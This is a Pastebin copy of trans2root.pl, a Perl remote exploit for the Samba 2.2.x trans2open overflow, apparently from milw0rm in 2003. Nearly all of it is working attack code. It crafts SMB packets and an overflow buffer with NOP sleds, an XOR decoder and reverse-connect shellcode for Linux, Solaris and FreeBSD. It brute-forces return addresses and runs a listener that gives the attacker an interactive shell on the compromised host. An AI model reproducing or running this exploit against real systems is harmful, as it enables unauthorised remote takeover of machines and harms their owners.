Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ###############
- ##[ Header
- # Name: trans2root.pl
- # Purpose: Proof of concept exploit for Samba 2.2.x (trans2open overflow)
- # Author: H D Moore <hdmoore@digitaldefense.net>
- # Copyright: Copyright (C) 2003 Digital Defense Inc.
- # trans2root.pl <options> -t <target type> -H <your ip> -h <target ip>
- ##
- use strict;
- use Socket;
- use IO::Socket;
- use IO::Select;
- use POSIX;
- use Getopt::Std;
- $SIG{USR2} = \&GoAway;
- my %args;
- my %targets =
- (
- "linx86" => [0xbffff3ff, 0xbfffffff, 0xbf000000, 512, \&CreateBuffer_linx86],
- "solx86" => [0x08047404, 0x08047ffc, 0x08010101, 512, \&CreateBuffer_solx86],
- "fbsdx86" => [0xbfbfefff, 0xbfbfffff, 0xbf000000, 512, \&CreateBuffer_bsdx86],
- # name # default # start # end # step # function
- );
- getopt('t:M:h:p:r:H:P:', \%args);
- my $target_type = $args{t} || Usage();
- my $target_host = $args{h} || Usage();
- my $local_host = $args{H} || Usage();
- my $local_port = $args{P} || 1981;
- my $target_port = $args{p} || 139;
- my $target_mode = "brute";
- if (! exists($targets{$target_type})) { Usage(); }
- print "[*] Using target type: $target_type\n";
- # allow single mode via the -M option
- if ($args{M} && uc($args{M}) eq "S")
- {
- $target_mode = "single";
- }
- # the parent process listens for an incoming connection
- # the child process handles the actual exploitation
- my $listen_pid = $$;
- my $exploit_pid = StartListener($local_port);
- # get the default return address for single mode
- my $targ_ret = $args{r} || $targets{$target_type}->[0];
- my $curr_ret;
- $targ_ret = eval($targ_ret);
- if ($target_mode !~ /brute|single/)
- {
- print "[*] Invalid attack mode: $target_mode (single or brute only)\n";
- exit(0);
- }
- if ($target_mode eq "single")
- {
- $curr_ret = $targ_ret;
- if(! $targ_ret)
- {
- print "[*] Invalid return address specified!\n";
- kill("USR2", $listen_pid);
- exit(0);
- }
- print "[*] Starting single shot mode...\n";
- printf ("[*] Using return address of 0x%.8x\n", $targ_ret);
- my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $targ_ret);
- my $ret = AttemptExploit($target_host, $target_port, $buf);
- sleep(2);
- kill("USR2", $listen_pid);
- exit(0);
- }
- if ($target_mode eq "brute")
- {
- print "[*] Starting brute force mode...\n";
- for (
- $curr_ret =$targets{$target_type}->[1];
- $curr_ret >= $targets{$target_type}->[2];
- $curr_ret -=$targets{$target_type}->[3]
- )
- {
- select(STDOUT); $|++;
- my $buf = $targets{$target_type}->[4]->($local_host, $local_port, $curr_ret);
- printf (" \r[*] Return Address: 0x%.8x", $curr_ret);
- my $ret = AttemptExploit($target_host, $target_port, $buf);
- }
- sleep(2);
- kill("USR2", $listen_pid);
- exit(0);
- }
- sub Usage {
- print STDERR "\n";
- print STDERR " trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit\n";
- print STDERR "===================================\n\n";
- print STDERR " Usage: \n";
- print STDERR " $0 <options> -t <target type> -H <your ip> -h <target ip>\n";
- print STDERR " Options: \n";
- print STDERR " -M (S|B) <single or brute mode>\n";
- print STDERR " -r <return address for single mode>\n";
- print STDERR " -p <alternate Samba port>\n";
- print STDERR " -P <alternate listener port>\n";
- print STDERR " Targets:\n";
- foreach my $type (keys(%targets))
- {
- print STDERR " $type\n";
- }
- print STDERR "\n";
- exit(1);
- }
- sub StartListener {
- my ($local_port) = @_;
- my $listen_pid = $$;
- my $s = IO::Socket::INET->new (
- Proto => "tcp",
- LocalPort => $local_port,
- Type => SOCK_STREAM,
- Listen => 3,
- ReuseAddr => 1
- );
- if (! $s)
- {
- print "[*] Could not start listener: $!\n";
- exit(0);
- }
- print "[*] Listener started on port $local_port\n";
- my $exploit_pid = fork();
- if ($exploit_pid)
- {
- my $victim;
- $SIG{USR2} = \&GoAway;
- while ($victim = $s->accept())
- {
- kill("USR2", $exploit_pid);
- print STDOUT "\n[*] Starting Shell " . $victim->peerhost . ":" . $victim->peerport . "\n\n";
- StartShell($victim);
- }
- exit(0);
- }
- return ($exploit_pid);
- }
- sub StartShell {
- my ($client) = @_;
- my $sel = IO::Select->new();
- Unblock(*STDIN);
- Unblock(*STDOUT);
- Unblock($client);
- select($client); $|++;
- select(STDIN); $|++;
- select(STDOUT); $|++;
- $sel->add($client);
- $sel->add(*STDIN);
- print $client "echo \\-\\-\\=\\[ Welcome to `hostname` \\(`id`\\)\n";
- print $client "echo \n";
- while (fileno($client))
- {
- my $fd;
- my @fds = $sel->can_read(0.2);
- foreach $fd (@fds)
- {
- my @in = <$fd>;
- if(! scalar(@in)) { next; }
- if (! $fd || ! $client)
- {
- print "[*] Closing connection.\n";
- close($client);
- exit(0);
- }
- if ($fd eq $client)
- {
- print STDOUT join("", @in);
- } else {
- print $client join("", @in);
- }
- }
- }
- close ($client);
- }
- sub AttemptExploit {
- my ($Host, $Port, $Exploit) = @_;
- my $res;
- my $s = IO::Socket::INET->new(PeerAddr => $Host, PeerPort => $Port, Type
- => SOCK_STREAM, Protocol => "tcp");
- if (! $s)
- {
- print "\n[*] Error: could not connect: $!\n";
- kill("USR2", $listen_pid);
- exit(0);
- }
- select($s); $|++;
- select(STDOUT); $|++;
- Unblock($s);
- my $SetupSession =
- "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01".
- "\x00\x00\x00\x00";
- my $TreeConnect =
- "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00".
- "\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24".
- "\x25\x6e\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50".
- "\x43\x24";
- my $Flush = ("\x00" x 808);
- print $s $SetupSession;
- $res = ReadResponse($s);
- print $s $TreeConnect;
- $res = ReadResponse($s);
- # uncomment this for diagnostics
- #print "[*] Press Enter to Continue...\n";
- #$res = <STDIN>;
- #print "[*] Sending Exploit Buffer...\n";
- print $s $Exploit;
- print $s $Flush;
- ReadResponse($s);
- close($s);
- }
- sub CreateBuffer_linx86 {
- my ($Host, $Port, $Return) = @_;
- my $RetAddr = eval($Return);
- $RetAddr = pack("l", $RetAddr);
- my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
- $a1 = chr(ord($a1) ^ 0x93);
- $a2 = chr(ord($a2) ^ 0x93);
- $a3 = chr(ord($a3) ^ 0x93);
- $a4 = chr(ord($a4) ^ 0x93);
- my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
- $p1 = chr(ord($p1) ^ 0x93);
- $p2 = chr(ord($p2) ^ 0x93);
- my $exploit =
- # trigger the trans2open overflow
- "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
- "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
- GetNops(772) .
- # xor decoder courtesy of hsj
- "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
- "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
- "\x93\x40\xe2\xfa".
- # reverse-connect, mangled lamagra code + fixes
- "\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b".
- "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a".
- "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d".
- $p1.$p2 ."\x54\xd6\x63". $a1.$a2.$a3.$a4.
- "\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67".
- "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e".
- "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b".
- "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60".
- "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa".
- "\xfd\xbc\xe0\xfb".
- GetNops(87).
- ($RetAddr x 8).
- "DDI!". ("\x00" x 277);
- return $exploit;
- }
- sub CreateBuffer_solx86 {
- my ($Host, $Port, $Return) = @_;
- my $RetAddr = eval($Return);
- my $IckAddr = $RetAddr - 512;
- $RetAddr = pack("l", $RetAddr);
- $IckAddr = pack("l", $IckAddr);
- # IckAddr needs to point to a writable piece of memory
- my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
- $a1 = chr(ord($a1) ^ 0x93);
- $a2 = chr(ord($a2) ^ 0x93);
- $a3 = chr(ord($a3) ^ 0x93);
- $a4 = chr(ord($a4) ^ 0x93);
- my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
- $p1 = chr(ord($p1) ^ 0x93);
- $p2 = chr(ord($p2) ^ 0x93);
- my $exploit =
- # trigger the trans2open overflow
- "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
- "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
- GetNops(813) .
- # xor decoder courtesy of hsj
- "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
- "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
- "\x93\x40\xe2\xfa".
- # reverse-connect, code by bighawk
- "\x2b\x6c\x6b\x6c\xaf\x64\x43\xc3\xa2\x53\x23\x09\xc3\x1a\x76\xa2".
- "\x5a\xc2\xd2\xd2\xc2\xc2\x23\x75\x6c\x46\xa2\x41\x1a\x54\xfb".
- $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
- "\xf5\xc2\x1a\x75\xf9\x83\xc5\xc4\x23\x78\x6c\x46\xa2\x41\x21\x9a".
- "\xc2\xc1\xc4\x23\xad\x6c\x46\xda\xea\x61\xc3\xfb\xbc\xbc\xe0\xfb".
- "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc3\xc0\x1a\x71\xc3\xc1\xc0\x23\xa8".
- "\x6c\x46".
- GetNops(87) .
- "010101".
- $RetAddr.
- $IckAddr.
- $RetAddr.
- $IckAddr.
- "101010".
- "DDI!". ("\x00" x 277);
- return $exploit;
- }
- sub CreateBuffer_bsdx86 {
- my ($Host, $Port, $Return) = @_;
- my $RetAddr = eval($Return);
- my $IckAddr = $RetAddr - 512;
- $RetAddr = pack("l", $RetAddr);
- $IckAddr = pack("l", $IckAddr);
- # IckAddr needs to point to a writable piece of memory
- my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($Host));
- $a1 = chr(ord($a1) ^ 0x93);
- $a2 = chr(ord($a2) ^ 0x93);
- $a3 = chr(ord($a3) ^ 0x93);
- $a4 = chr(ord($a4) ^ 0x93);
- my ($p1, $p2) = split(//, reverse(pack("s", $Port)));
- $p1 = chr(ord($p1) ^ 0x93);
- $p2 = chr(ord($p2) ^ 0x93);
- my $exploit =
- # trigger the trans2open overflow
- "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
- "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
- GetNops(830) .
- # xor decoder courtesy of hsj
- "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
- "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
- "\x93\x40\xe2\xfa".
- # reverse-connect, code by bighawk
- "\xa2\x5a\x64\x72\xc2\xd2\xc2\xd2\xc2\xc2\x23\xf2\x5e\x13\x1a\x50".
- "\xfb". $a1.$a2.$a3.$a4 ."\xf5\xfb". $p1.$p2.
- "\xf5\xc2\x1a\x75\x21\x83\xc1\xc5\xc3\xc3\x23\xf1\x5e\x13\xd2\x23".
- "\xc9\xda\xc2\xc0\xc0\x5e\x13\xd2\x71\x66\xc2\xfb\xbc\xbc\xe0\xfb".
- "\xfb\xbc\xf1\xfa\xfd\x1a\x70\xc2\xc7\xc0\xc0\x23\xa8\x5e\x13".
- GetNops(87) .
- "010101".
- $RetAddr.
- $IckAddr.
- $RetAddr.
- $IckAddr.
- "101010".
- "DDI!". ("\x00" x 277);
- return $exploit;
- }
- sub Unblock {
- my $fd = shift;
- my $flags;
- $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
- fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
- }
- sub GoAway {
- exit(0);
- }
- sub ReadResponse {
- my ($s) = @_;
- my $sel = IO::Select->new($s);
- my $res;
- my @fds = $sel->can_read(4);
- foreach (@fds) { $res .= <$s>; }
- return $res;
- }
- sub HexDump {
- my ($data) = @_;
- my @x = split(//, $data);
- my $cnt = 0;
- foreach my $h (@x)
- {
- if ($cnt > 16)
- {
- print "\n";
- $cnt = 0;
- }
- printf("\\x%.2x", ord($h));
- $cnt++;
- }
- print "\n";
- }
- # thank you k2 ;)
- sub GetNops {
- my ($cnt) = @_;
- my @nops = split(//,"\x99\x96\x97\x95\x93\x91\x90\x4d\x48\x47\x4f\x40\x41\x37\x3f\x97".
- "\x46\x4e\xf8\x92\xfc\x98\x27\x2f\x9f\xf9\x4a\x44\x42\x43\x49\x4b".
- "\xf5\x45\x4c");
- return join ("", @nops[ map { rand @nops } ( 1 .. $cnt )]);
- }
- # milw0rm.com [2003-04-07]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement